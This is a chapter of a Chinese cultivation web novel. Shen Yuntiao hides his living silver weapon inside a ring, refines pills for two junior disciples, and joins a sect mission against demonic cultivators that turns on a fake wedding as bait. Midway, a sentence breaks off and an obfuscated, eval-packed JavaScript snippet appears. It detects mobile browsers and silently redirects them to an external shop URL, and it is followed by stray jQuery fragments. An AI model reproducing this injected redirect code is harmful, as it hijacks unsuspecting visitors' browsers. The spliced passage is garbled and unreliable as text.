黑夜无月，水深雾浓。


    沈云迢并未直接浮上水面，而是借着冥水珍珠在水底前行，为的就是避开谢清棠。


    如今的他虽然握有还神丝，但为了不招惹其他麻烦，还是小心行事。


    哪怕他身后有风陵宗，但得罪秋水派，对方找上门来，掌门也未必护他，不若丰满自己的羽翼，届时便不必顾虑许多。


    沈云迢在水底穿行了数个时辰，终于浮出水面。远处旭日初升，大泽上奇诡的浓雾似乎也被紫气所照，散开些许，四周不再难以分辨方向，沈云迢很快就找到回岸边的路，换下衣服毁衣灭迹，在被发现前回到房间。


    参加完寿宴，第二日他们便要返回风陵宗。


    秋水派的人似乎有意挽留，但月痕雪不知道和许无渡说了什么，便带着众弟子回了飞舟上。


    数道阵法禁制的保护下，十二云翼的飞舟驶离秋水派，飞跃长明大泽。


    沈云迢站在飞舟边缘，望着底下无边无际的大泽之水，又看向越来越远的秋水派。


    天目重莲的事他谁都没有说。


    有些东西，大抵只能他自己决定。


    因为他身边已无人可为他解惑。


    哪怕他有师尊，师兄，宗门，若是他无法全然信任他们，他也是孤身一人。


    ……


    几日后，飞舟回到风陵宗。


    沈云迢闭关修炼，在梧桐院外设下禁制不许任何人打扰，开始淬炼体内的真气。


    修真者十一个境界，入阳境初渡劫难，化丹境炼气为元，归墟境炼神还虚，九玄境天人合一。


    沈云迢初至入阳境，体内的真气虽然充盈满溢，但犹有杂质，需要不停地转换，将丹田里的浊气净化为更精纯的真气。


    因此一连半个月他都闭门不出，凝炼出两滴至精至纯之气后才睁开眼睛。


    这几滴真气在丹田里就像落入沙砾的金子，非常显眼，也非常少。


    按照现在这个进度，等他慢悠悠地炼，估计得不吃不喝炼上一百年，方才将全身真气净化完。


    然后再将净化完的真气炼成真元，又是几百年。


    沈云迢倒不是嫌弃时间太长，只是难免想，如果中途遇到瓶颈，要如何突破？


    察觉到他的思虑，体内的还神隐隐颤动。


    沈云迢勾起唇角：“还有你。”


    跟还神相处这些天，他也更了解还神了。


    虽然还神一直被他当法器之类的使用，但是比起法器，还神更像是存在于他身体里的活物。


    它根源在他神魂深处，归墟境以下的人都看不出来，暂时不必再顾虑被人窥视。


    不过因为还神的特殊性，如果做的太过分，还是会引起别人注意。所以沈云迢教导还神不要随意从他身上冒出来，尤其是他看不见的后背等地方，也不要在人前展示出除了武器之外的特性——比如连接断肢和血肉生长。


    “哪怕我受伤，也不要管。”沈云迢摸了摸掌心的银丝，低声道，“除非没有其他人在场，或者我下一秒就会死。”


    还神点点头。


    沈云迢又道：“以后委屈你装个法器了。”


    他从房间里找出一个普通的银戒指，截取了还神的一部分放到戒指里，然后戴到自己左手中指上。


    从外表上看，此戒指平平无奇，可是沈云迢心念一动，一根细长锐利的银丝便从戒指上射出，接着分散为成百上千根，挂满了梧桐院。


    沈云迢满意地勾起唇角，将它们都收了回来。


    这下就不用担心在宗门的人面前使用还神了，若是问起，就说是自己得来的法器。


    想到什么，沈云迢又问：“你既然可以分出一部分，那也能同时依附在别人身上？”


    神魂里的还神摇了摇头：太、远。会、枯死。


    “原来如此。”沈云迢若有所思。


    还神一旦离开附身的宿主，很快就会死去，哪怕是他现在戒指里那部分，也需要他用气养着。


    败家和作用是正相关啊，沈云迢心想。


    解决完还神的事，沈云迢起身离开梧桐院，准备去买些炼丹的药材。


    他之前炼的几颗止血丹没了，趁现在有时间炼些出来，还有凝气丹也要，接着便是尝试二品丹药。


    不管怎么说，萧槿把《清元丹术》给他，他不能辜负萧槿的好意。


    ……


    院子里，一位绿衣青年盘腿坐在地上，一边翻书，一边照看面前的丹炉。


    灰白色的炼丹炉不到半米高，颇为小巧，盖子上白气蒸腾，底下木薪熊熊燃烧。除此之外院子里没有其他声音，显得颇为安静。


    一直到傍晚，绿衣青年终于动了。霞光一缕落在他脸上，映照着狭长凤眼与泛着淡淡水润的薄唇，好像在纸上一笔一笔画出来般。


    莹白如玉的手指打开炉盖，里面共十颗朱红色的丹丸凝炼成形，散发着丝丝灵气。


    二品化毒丹，成功。


    沈云迢满意地将丹药收进葫芦，虽然他一炉炼成的少，但品相都不错。


    除了化毒丹，他又炼了些凝气丹和止血丹，将其中一半分给了李吟和姜槐。


    李吟姜槐看见这些丹药自然是下跪要拜，被沈云迢一手一个拉了起来，


    “不必拜了，望你们早日突破，争取进入内门。”


    李吟泪眼汪汪：“沈师兄……”


    姜槐擦去眼角的泪，坚定道：“我一定不会辜负沈师兄的嘱托，为了沈师兄，我哪怕死都要死在内门！”


    “别说这些蠢话，不是为了我，而是为了你们自己。”沈云迢拍拍二人肩膀，“哪怕我不在，你们也要各自努力。”


    “不在？沈师兄是要下山游历吗？”姜槐连忙问。


    沈云迢摇头：“以我如今修为，独自出去游历也无用。这是希望你们把注意力放在自己身上，别放在我身上罢了。”


    “为何？沈师兄就是我们的恩人，我们要报答沈师兄！”


    沈云迢一晒：“报答什么的……保重自己，就算报答我了。”


    李吟垂下头：“是我们无用。”


    “不是，是我如今不同了。”沈云迢一顿，正色道，“有事的时候，我也顾不上你们，所以只能让你们自己小心。这些丹药于我不过是锦上添花，送你们却是正好，就当是以前你二人服侍我的回报，且安心收下罢。”


    这番话推心置腹，李吟和姜槐渐渐都接受了他的说辞，没再说什么。


    沈云迢和他们告别，回到秀峰。


    李吟望着他离开的背影，低声道：“你有没有觉得……沈师兄和我们的距离越来越远了？”


    姜槐收好丹药，陷入沉默。许久才道：“他本就是与我们不同的。”


    至少沈云迢还记得他们，没把他们遗忘在外门。


    ……


    鹜霞山。


    沈云迢站在熟悉的交通工具飞舟上，看外面的景色由山脉逐渐变成凡人的城镇。


    和偏远的流香镇比起来，这里聚集的人更多，来来去去的身影仿佛是滚动的黄豆。


    顾枫在和大家复述这次的宗门任务：“接到消息说洛阳镇外的鹜霞山有魔修在此立派，还常常伤害镇上百姓，因此宗内决定派我们来根除。景陵堂这次来了三十位入气境弟子，一半的人便负责保护山下百姓，其余人跟我们上山，剿灭魔派。”


    他在来的弟子中地位最高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456474|141595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，大家都默认听他的吩咐，闻言没有反对。


    沈云迢也没出声，他在想怎么就这么巧合。


    目光向前看，顾枫。


    向右看，海卿。


    向左看，楚叶阳和洛裳。


    齐聚一堂。


    沈云迢记得原著这个情节是楚叶阳和顾枫派人去刷的，怎么现在多了这么多人？连他也算上了？


    刚开始接到月痕雪传信他还以为弄错了，想拒绝，但是没有理由。


    沈云迢颇感郁闷地上了飞舟，一直沉默着到了鹜霞山。


    顾枫见他表情不太好，问道：“沈师弟有何意见？”


    沈云迢从郁闷中回神，欠了欠身道：“没有，任凭师兄安排。”


    他如此配合，顾枫也就点了点头。


    众人在城镇外落地，一部分去保护镇上百姓，一部分则徒步前往鹜霞山。


    没办法，魔修藏身之地有阵法，从空中查探不到魔修踪迹，只有深入山林，破除阵法，方可找到对方大本营。


    沈云迢跟在人群中，走的倒是不怎么费力。山峰高耸，悬崖陡峭，在修士脚下也不过是如履平地。


    只是众人转了一圈，几乎把鹜霞山都走过一遍仍然一无所获，有弟子沉不住气开口了：“魔修当真在这里吗？为何找了许久都没看见？”


    顾枫道：“宗门情报里说在这里，就一定在这里。恐怕是我们来时打草惊蛇了。”


    “那怎么办？”


    走了两天魔修毛都没看见一根，他们捏着武器符箓的手都麻了。


    沈云迢想起原著这段情节，提议道：“魔修奸诈，我们一直留在这里转圈势必引起他们怀疑，以致藏首藏尾，不肯轻易冒头。不若我们假装离去，再伪装成百姓，引他们出来。”


    “具体怎么做？”


    沈云迢：“他们爱掳掠年轻的少男少女，那就找两个年轻的男女作诱饵，假装是夫妻新婚的队伍，从鹜霞山的路经过。我们只需扮做这两人的家中亲眷和随行人士，等待魔修主动现身便是。”


    原著便是如此。


    镇上一户人家的女儿马上要成亲，嫁娶队伍只能从鹜霞山经过。偏偏魔修害人，婚事一拖再拖，待楚叶阳等人前来剿灭魔派时，那家人便鼓起勇气主动做了诱饵，只希望他们能护自己成功过了鹜霞山。


    到了山下，魔修果真没有防备，前来抢夺，却被顾枫和楚叶阳找到对方老巢，和其他风陵宗弟子一起剿了个干净。


    顾枫沉思片刻，认同了这个提议：“可。”


    他看向众人：“那谁来做诱饵？”


    各人目光交汇，无人说话。


    洛裳鼓起勇气：“我是里面唯一的女孩子，那我来做好了。”


    顾枫皱眉：“最好是找一个修为高一些的，更有自保能力。”他不想洛裳涉险。


    洛裳瞬间泄气。


    但除了她，就没别的女孩子随行了，顾枫这是想做什么？难道是想……扮做女装大佬？


    沈云迢目光古怪。


    海卿好像察觉到他的想法，同时笑吟吟道：“让小师妹涉险就算了，反正新娘坐在花轿里，那群魔修看不出男女，找个身段纤细些的男弟子代替一下便是！”


    说的容易，问题是谁来呢？沈云迢目光转了一圈，停在楚叶阳身上。


    要说他们中最年轻的，算得上少年的人，好像只有楚叶阳了。


    男主女装？啊、啊这……这是我能看的吗？


    沈云迢的思维诡异地滑翔了，以至于自己都没意识到自己在盯着楚叶阳看。


    楚叶阳微微蹙眉，迎上他的目光。


    海卿这时道：“楚师弟年龄比较合适，你们说呢？”